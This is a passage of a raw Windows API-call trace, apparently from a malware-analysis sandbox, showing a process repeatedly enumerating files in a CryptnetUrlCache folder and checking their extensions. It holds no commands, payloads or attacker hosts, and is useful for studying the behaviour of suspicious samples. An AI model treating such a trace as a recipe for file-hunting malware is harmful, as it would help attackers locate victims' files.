(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0127.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0127.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0127.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0127.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0127.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0127.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0127.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0127.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0127.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0127.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0127.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0127.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0127.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0127.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0127.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0127.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0127.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0127.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0127.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0127.389] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0127.389] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0127.391] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0127.391] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.391] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0127.392] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0127.392] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.392] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0127.393] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0127.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0127.393] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0127.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0127.393] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0127.393] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.393] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, 